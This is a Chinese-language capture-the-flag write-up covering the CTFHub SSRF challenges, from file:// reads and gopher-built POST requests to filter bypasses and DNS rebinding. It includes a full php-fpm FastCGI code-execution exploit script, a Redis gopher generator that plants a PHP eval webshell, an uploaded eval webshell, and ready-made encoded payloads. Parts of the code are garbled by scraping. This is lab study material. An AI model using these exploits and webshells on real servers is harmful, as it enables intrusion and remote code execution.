CTFHub-技能树-SSRF
阅读原文时间:2023年07月08日阅读:2

SSRF

目录

  • SSRF

  • 题目描述

    尝试访问位于127.0.0.1的flag.php吧

  • 解题过程

    打开题目,url为http://challenge-54ab013865ee24e6.sandbox.ctfhub.com:10080/?url=_

    推测可以通过参数url访问内网

    直接访问?url=http://127.0.0.1/flag.php即可

  • 题目描述

    尝试去读取一下Web目录下的flag.php吧

  • 解题过程

    url为http://challenge-cc86fd87db00a898.sandbox.ctfhub.com:10080/?url=_

    直接访问?url=http://127.0.0.1/flag.php,没有flag,根据题目描述,应该在源码中,改用ssrf的伪协议读取

    ?url=file:///var/www/html/flag.php即可

  • 题目描述

    来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦

  • 解题过程

    访问?url=http://127.0.0.1:8000,burp抓包,intruder端口爆破

  • 题目描述

    这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.我准备了一个302.php,可能对你有用哦

  • 解题过程

    访问?url=http://127.0.0.1/302.php

    <?php
    if(isset($_GET['url'])){
        header("Location: {$_GET['url']}");
        exit;
    }
    
    highlight_file(__FILE__);

    访问?url=file:///var/www/html/index.php

    <?php
    
    error_reporting(0);
    
    header("Help: here is 302.php");
    
    if (!isset($_REQUEST['url'])){
        header("Location: /?url=_");
        exit;
    }
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
    curl_exec($ch);
    curl_close($ch);
    >

    访问?url=file:///var/www/html/flag.php

    <?php
    
    error_reporting(0);
    
    if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
        echo "Just View From 127.0.0.1";
        return;
    }
    
    $flag=getenv("CTFHUB");
    $key = md5($flag);
    
    if(isset($_POST["key"]) && $_POST["key"] == $key){
        echo $flag;
        exit;
    }
    ?>

    访问?url=http://127.0.0.1/flag.php

    <form action="/flag.php" method="post">
    <input type="text" name="key">
    <!-- Debug: key=5e37e6b3f645b286834aabb8a49dac71-->
    </form>

    现在拿到了key,只需要构造POST请求,把key提交给flag.php页面即可

    (这个过程自己把自己坑了一把)

    ssrf中可以使用gopher协议来构造post请求,具体格式:

    gopher://ip:port/_METHOD /file HTTP/1.1 http-header&body

    构造请求包:

    !注意Content-LengthContent-Type,可以直接访问页面提交数据,用burp抓包再修改Host

    POST /flag.php HTTP/1.1
    Host: 127.0.0.1
    User-Agent: curl
    Accept: */*
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 36
    
    key=5e37e6b3f645b286834aabb8a49dac71

    HTTP版本之前编码一次,之后部分URL编码 两次:

    !注意,换行符是%0d%0a

    POST%20/flag.php%20HTTP/1.1%250d%250aHost%3A%20127.0.0.1%250d%250aUser-Agent%3A%20curl%250d%250aAccept%3A%20%2A/%2A%250d%250aContent-Type%3A%20application/x-www-form-urlencoded%250d%250aContent-Length%3A%2036%250d%250a%250d%250akey%3D5e37e6b3f645b286834aabb8a49dac71

    拼接payload:

    ?url=gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%250d%250aHost%3A%20127.0.0.1%250d%250aUser-Agent%3A%20curl%250d%250aAccept%3A%20%2A/%2A%250d%250aContent-Type%3A%20application/x-www-form-urlencoded%250d%250aContent-Length%3A%2036%250d%250a%250d%250akey%3D5e37e6b3f645b286834aabb8a49dac71

    题目给了提示,curl会跟踪302跳转,这个点主要用于参数长度或内容有限制的时候,可以通过302跳转来实现ssrf。例如,限制了url长度,那么可以在自己的vps或者靶机上,上传构造好的(Location: gopher://xxxxxxxx)跳转页面,然后直接访问跳转页面,即可实现ssrf。

  • 题目描述

    这次需要上传一个文件到flag.php了.我准备了个302.php可能会有用.祝你好运

  • 解题过程

    访问?url=file:///var/www/html/flag.php查看flag代码

    <?php
    
    error_reporting(0);
    
    if($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){
        echo "Just View From 127.0.0.1";
        return;
    }
    
    if(isset($_FILES["file"]) && $_FILES["file"]["size"] ){
        echo getenv("CTFHUB");
        exit;
    }
    ?>

    自行在form表单中添加提交按钮<input type="submit" value="提交">

    用burp抓包

    修改后:

    POST /flag.php HTTP/1.1
    Host: challenge-0787aada7abf3fe4.sandbox.ctfhub.com:10080
    Content-Length: 222
    Cache-Control: max-age=0
    Origin: http://challenge-0787aada7abf3fe4.sandbox.ctfhub.com:10080
    Upgrade-Insecure-Requests: 1
    Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFq9cC6PrPMDmf6JG
    User-Agent: Mozilla/5.0
    Accept: */*
    Accept-Encoding: gzip, deflate
    Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
    Connection: close
    
    ------WebKitFormBoundaryFq9cC6PrPMDmf6JG
    Content-Disposition: form-data; name="file"; filename="draft.php"
    Content-Type: application/octet-stream
    
    <?php eval($_POST[x]); ?>
    ------WebKitFormBoundaryFq9cC6PrPMDmf6JG--

    改为ssrf

    ?url=gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%250D%250AHost%253A%2520challenge-0787aada7abf3fe4.sandbox.ctfhub.com%253A10080%250D%250AContent-Length%253A%2520222%250D%250ACache-Control%253A%2520max-age%253D0%250D%250AOrigin%253A%2520http%253A//challenge-0787aada7abf3fe4.sandbox.ctfhub.com%253A10080%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250AContent-Type%253A%2520multipart/form-data%253B%2520boundary%253D----WebKitFormBoundaryFq9cC6PrPMDmf6JG%250D%250AUser-Agent%253A%2520Mozilla/5.0%2520%250D%250AAccept%253A%2520%252A/%252A%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.9%252Cen%253Bq%253D0.8%250D%250AConnection%253A%2520close%250D%250A%250D%250A------WebKitFormBoundaryFq9cC6PrPMDmf6JG%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%2522draft.php%2522%250D%250AContent-Type%253A%2520application/octet-stream%250D%250A%250D%250A%253C%253Fphp%2520eval%2528%2524_POST%255Bx%255D%2529%253B%2520%253F%253E%250D%250A------WebKitFormBoundaryFq9cC6PrPMDmf6JG--

    直接访问就给flag了

  • 题目描述

    这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助

    附件

  • 解题过程

    浅略分析

    这道题坑有点多 = =,反复做了好几次才成功 ,主要有几点:

    • 题目附件中的exp是使用fastcgi协议发送报文的,是直接向php-fpm(9000端口)发送的,外网不能访问到该端口,不能直接拿来打题目url

      • 所以要自己手动获取fastcgi发送的报文,然后利用gopher进行内网访问9000端口的fpm
    • 需要使用hex编码来构造payload,而hexdump在x86环境下是小端显示(就是地址位低的字节在前)

    • hex编码后的payload需要转换位url编码,然后再次url编码(一共两次url编码)

    • 步骤(我是在kali虚拟机上完成的)

      • 监听端口(可以不用9000,可以随意更换,但是在下面的exp里也要修改对应端口),使用hexdump的大端显示模式,把结果存到1.txt

        • nc -lvvp 9000 | hexdump -C > 1.txt
      • 执行exp

        • python exp.py -c "<?php var_dump(system('ls /')); ?>" -p 9000 0.0.0.0 /var/www/html/index.php

        • 用法python exp.py -c php代码 -p php-fpm端口 ip 任意php文件的绝对路径

        • 这里我们是要自己向自己的端口访问,来获取请求报文,所以端口可以任意设置

        • exp脚本(p神yyds!)


          • import socket
            import random
            import argparse
            import sys
            from io import BytesIO


            # Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client

            PY2 = True if sys.version_info.major == 2 else False

            def bchr(i):
            if PY2:
            return force_bytes(chr(i))
            else:
            return bytes([i])

            def bord(c):
            if isinstance(c, int):
            return c
            else:
            return ord(c)

            def force_bytes(s):
            if isinstance(s, bytes):
            return s
            else:
            return s.encode('utf-8', 'strict')

            def force_text(s):
            if issubclass(type(s), str):
            return s
            if isinstance(s, bytes):
            s = str(s, 'utf-8', 'strict')
            else:
            s = str(s)
            return s

            class FastCGIClient:
            """A Fast-CGI Client for Python"""

            # private
            __FCGI_VERSION = 1
            
            __FCGI_ROLE_RESPONDER = 1
            __FCGI_ROLE_AUTHORIZER = 2
            __FCGI_ROLE_FILTER = 3
            
            __FCGI_TYPE_BEGIN = 1
            __FCGI_TYPE_ABORT = 2
            __FCGI_TYPE_END = 3
            __FCGI_TYPE_PARAMS = 4
            __FCGI_TYPE_STDIN = 5
            __FCGI_TYPE_STDOUT = 6
            __FCGI_TYPE_STDERR = 7
            __FCGI_TYPE_DATA = 8
            __FCGI_TYPE_GETVALUES = 9
            __FCGI_TYPE_GETVALUES_RESULT = 10
            __FCGI_TYPE_UNKOWNTYPE = 11
            
            __FCGI_HEADER_SIZE = 8
            
            # request state
            FCGI_STATE_SEND = 1
            FCGI_STATE_ERROR = 2
            FCGI_STATE_SUCCESS = 3
            
            def __init__(self, host, port, timeout, keepalive):
                self.host = host
                self.port = port
                self.timeout = timeout
                if keepalive:
                    self.keepalive = 1
                else:
                    self.keepalive = 0
                self.sock = None
                self.requests = dict()
            
            def __connect(self):
                self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                self.sock.settimeout(self.timeout)
                self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
                # if self.keepalive:
                #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
                # else:
                #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
                try:
                    self.sock.connect((self.host, int(self.port)))
                except socket.error as msg:
                    self.sock.close()
                    self.sock = None
                    print(repr(msg))
                    return False
                return True
            
            def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
                length = len(content)
                buf = bchr(FastCGIClient.__FCGI_VERSION) \
                       + bchr(fcgi_type) \
                       + bchr((requestid &gt;&gt; 8) &amp; 0xFF) \
                       + bchr(requestid &amp; 0xFF) \
                       + bchr((length &gt;&gt; 8) &amp; 0xFF) \
                       + bchr(length &amp; 0xFF) \
                       + bchr(0) \
                       + bchr(0) \
                       + content
                return buf
            
            def __encodeNameValueParams(self, name, value):
                nLen = len(name)
                vLen = len(value)
                record = b''
                if nLen &lt; 128:
                    record += bchr(nLen)
                else:
                    record += bchr((nLen &gt;&gt; 24) | 0x80) \
                              + bchr((nLen &gt;&gt; 16) &amp; 0xFF) \
                              + bchr((nLen &gt;&gt; 8) &amp; 0xFF) \
                              + bchr(nLen &amp; 0xFF)
                if vLen &lt; 128:
                    record += bchr(vLen)
                else:
                    record += bchr((vLen &gt;&gt; 24) | 0x80) \
                              + bchr((vLen &gt;&gt; 16) &amp; 0xFF) \
                              + bchr((vLen &gt;&gt; 8) &amp; 0xFF) \
                              + bchr(vLen &amp; 0xFF)
                return record + name + value
            
            def __decodeFastCGIHeader(self, stream):
                header = dict()
                header['version'] = bord(stream[0])
                header['type'] = bord(stream[1])
                header['requestId'] = (bord(stream[2]) &lt;&lt; 8) + bord(stream[3])
                header['contentLength'] = (bord(stream[4]) &lt;&lt; 8) + bord(stream[5])
                header['paddingLength'] = bord(stream[6])
                header['reserved'] = bord(stream[7])
                return header
            
            def __decodeFastCGIRecord(self, buffer):
                header = buffer.read(int(self.__FCGI_HEADER_SIZE))
            if not header:
                return False
            else:
                record = self.__decodeFastCGIHeader(header)
                record['content'] = b''
            if 'contentLength' in record.keys():
                contentLength = int(record['contentLength'])
                record['content'] += buffer.read(contentLength)
            if 'paddingLength' in record.keys():
                skiped = buffer.read(int(record['paddingLength']))
            return record</code></pre>def request(self, nameValuePairs={}, post=''):
            if not self.__connect():
                print('connect failure! please check your fasctcgi-server !!')
                return<pre><code>requestId = random.randint(1, (1 &amp;amp;lt;&amp;amp;lt; 16) - 1)
            self.requests[requestId] = dict() request = b"" beginFCGIRecordContent = bchr(0) \ + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \ + bchr(self.keepalive) \ + bchr(0) * 5 request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN, beginFCGIRecordContent, requestId) paramsRecord = b'' if nameValuePairs: for (name, value) in nameValuePairs.items(): name = force_bytes(name) value = force_bytes(value) paramsRecord += self.__encodeNameValueParams(name, value) if paramsRecord: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId) if post: request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId) request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId) self.sock.send(request) self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND self.requests[requestId]['response'] = b'' return self.__waitForResponse(requestId)
            def __waitForResponse(self, requestId): data = b'' while True: buf = self.sock.recv(512) if not len(buf): break data += buf
            data = BytesIO(data)
            while True:
                response = self.__decodeFastCGIRecord(data)
                if not response:
                    break
                if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \
                        or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                    if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:
                        self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR
                    if requestId == int(response['requestId']):
                        self.requests[requestId]['response'] += response['content']
                if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:
                    self.requests[requestId]
            return self.requests[requestId]['response']
            def __repr__(self): return "fastcgi connect host:{} port:{}".format(self.host, self.port)

            if __name__ == '__main__':
            parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')
            parser.add_argument('host', help='Target host, such as 127.0.0.1')
            parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')
            parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')
            parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)

            args = parser.parse_args()
            
            client = FastCGIClient(args.host, args.port, 3, 0)
            params = dict()
            documentRoot = "/"
            uri = args.file
            content = args.code
            params = {
                'GATEWAY_INTERFACE': 'FastCGI/1.0',
                'REQUEST_METHOD': 'POST',
                'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
                'SCRIPT_NAME': uri,
                'QUERY_STRING': '',
                'REQUEST_URI': uri,
                'DOCUMENT_ROOT': documentRoot,
                'SERVER_SOFTWARE': 'php/fcgiclient',
                'REMOTE_ADDR': '127.0.0.1',
                'REMOTE_PORT': '9985',
                'SERVER_ADDR': '127.0.0.1',
                'SERVER_PORT': '80',
                'SERVER_NAME': "localhost",
                'SERVER_PROTOCOL': 'HTTP/1.1',
                'CONTENT_TYPE': 'application/text',
                'CONTENT_LENGTH': "%d" % len(content),
                'PHP_VALUE': 'auto_prepend_file = php://input',
                'PHP_ADMIN_VALUE': 'allow_url_include = On'
            }
            response = client.request(params, content)</code></pre></li></ul>
        • 处理请求报文

          • 我在参考里的脚本上添加了一些处理的代码,来过滤hexdump -C的对照信息,然后转换成url编码格式

          • import urllib

            # 打开报文
            file = open("/home/kali/1.txt","r")
            content = file.readlines()
            # 读取报文,去除对照信息
            str_ = ""
            for line in content:
                str_ += line[8:-20]
            # 去除空格和换行符
            str_dealed = str_.replace("\n", "").replace(" ", "")
            # 转换为url编码形式
            payload = ""
            length = len(str_dealed)
            for i in range(0, length, 2):
                temp = "%" + str_dealed[i] + str_dealed[i+1]
                payload += temp
            # 再次url编码
            print(urllib.quote(payload))
        • 拼接payload

          • http://challenge-id.sandbox.ctfhub.com:10080/?url=gopher://127.0.0.1:9000/_payload
    • 参考

      https://blog.csdn.net/rfrder/article/details/108589988

      https://blog.csdn.net/mysteryflower/article/details/94386461

    • 题目描述

      这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!

    • 解题过程

      访问?url=file:///var/www/html/index.php

      <?php
      
      error_reporting(0);
      
      if (!isset($_REQUEST['url'])) {
          header("Location: /?url=_");
          exit;
      }
      
      $ch = curl_init();
      curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
      curl_setopt($ch, CURLOPT_HEADER, 0);
      curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
      curl_exec($ch);
      curl_close($ch);
      ?>

      ​ 这道题和上道题方法类似,都是利用gopher来构造特定协议内容,直接和应用通信,这道题用的是Redis的RESP协议

      ​ 关于RESP和其他详细分析,可以参考这篇文章

      • 利用Redis来写webshell

        redis命令

        flushall
        set 1 '<?php eval($_GET["cmd"]);?>'
        config set dir /var/www/html
        config set dbfilename shell.php
        save
      • 利用脚本转换为gopher的payload(出自上面的文章)

        import urllib
        from urllib import parse
        
        protocol = "gopher://"
        ip = "127.0.0.1"
        port = "6379"
        shell = "\n\n<?php eval($_GET[\"cmd\"]);?>\n\n"
        filename = "shell.php"
        path = "/var/www/html"
        passwd = ""
        cmd = ["flushall",
               "set 1 {}".format(shell.replace(" ", "${IFS}")),
               "config set dir {}".format(path),
               "config set dbfilename {}".format(filename),
               "save"
               ]
        if passwd:
            cmd.insert(0, "AUTH {}".format(passwd))
        payload_prefix = protocol + ip + ":" + port + "/_"
        CRLF = "\r\n"
        
        def redis_format(arr):
            redis_arr = arr.split(" ")
            cmd_ = ""
            cmd_ += "*" + str(len(redis_arr))
            for x_ in redis_arr:
                cmd_ += CRLF + "$" + str(len((x_.replace("${IFS}", " ")))) + CRLF + x_.replace("${IFS}", " ")
            cmd_ += CRLF
            return cmd_
        
        if __name__ == "__main__":
            payload = ""
            for x in cmd:
                payload += parse.quote(redis_format(x))  # url编码
            payload = payload_prefix + parse.quote(payload)  # 再次url编码
            print(payload)

        添加了一次url编码,来适配GET的两次解码

        得到payload:gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252431%250D%250A%250A%250A%3C%253Fphp%2520eval%2528%2524_GET%255B%22cmd%22%255D%2529%253B%253F%3E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A/var/www/html%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A

        然后访问/shell.php?cmd=php_code;即可

    • 题目描述

      url must startwith "http://notfound.ctfhub.com"

    • 解题过程

      之前有过xss的bypass经验,知道两个方法:

      • 利用xip.io(可以直接访问该域名,里面有详细说明)

        • 访问www.xxx.com.1.1.1.1.xip.io,会解析为1.1.1.1
        • 尝试发现,xip.io被ban了
      • 尝试nip.io

        • 可以使用
        • payload:?url=http://notfound.ctfhub.com.127.0.0.1.nip.io/flag.php
      • 使用HTTP基础认证

        • payload:?url=http://notfound.ctfhub.com@127.0.0.1/flag.php
    • 题目描述

    • 解题过程

      访问?url=http://127.0.0.1,提示ban掉了127 172 @

      只需要把127.0.0.1转换为数字IP,结果为2130706433

      payload:?url=http://2130706433/flag.php

    • 题目描述

    • 解题过程

      访问?url=http://127.0.0.1,提示禁止访问局域网ip

      只需要把跳转的脚本上传到vps上,然后访问vps上的脚本,跳转回去即可

      <?php
      if(isset($_GET['url'])){
          header("Location: {$_GET['url']}");
          exit;
      }
      ?>

      ?url=http://IP:PORT/302.php?url=http://127.0.0.1/flag.php

    • 题目描述

    • 解题过程

      访问?url=http://127.0.0.1,提示禁止访问局域网ip

      题目是DNS重绑定,就去搜了一下相关资料 来源:https://www.freebuf.com/articles/web/135342.html

      对于常见的IP限制,后端服务器可能通过下图的流程进行IP过滤:

      对于用户请求的URL参数,首先服务器端会对其进行DNS解析,然后对于DNS服务器返回的IP地址进行判断,如果在黑名单中,就pass掉。

      但是在整个过程中,第一次去请求DNS服务进行域名解析到第二次服务端去请求URL之间存在一个时间查,利用这个时间差,我们可以进行DNS 重绑定攻击。

      要完成DNS重绑定攻击,我们需要一个域名,并且将这个域名的解析指定到我们自己的DNS Server,在我们的可控的DNS Server上编写解析服务,设置TTL时间为0。这样就可以进行攻击了,完整的攻击流程为:

      (1)、服务器端获得URL参数,进行第一次DNS解析,获得了一个非内网的IP

      (2)、对于获得的IP进行判断,发现为非黑名单IP,则通过验证

      (3)、服务器端对于URL进行访问,由于DNS服务器设置的TTL为0,所以再次进行DNS解析,这一次DNS服务器返回的是内网地址。

      (4)、由于已经绕过验证,所以服务器端返回访问内网资源的结果。

      推荐一个很详细的资料:关于DNS-rebinding的总结

      需要有域名和vps,然后根据总结里的方法,就可以完成

      (我暂时没有能用的域名,挖个坑,以后来填)

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器

你可能感兴趣的文章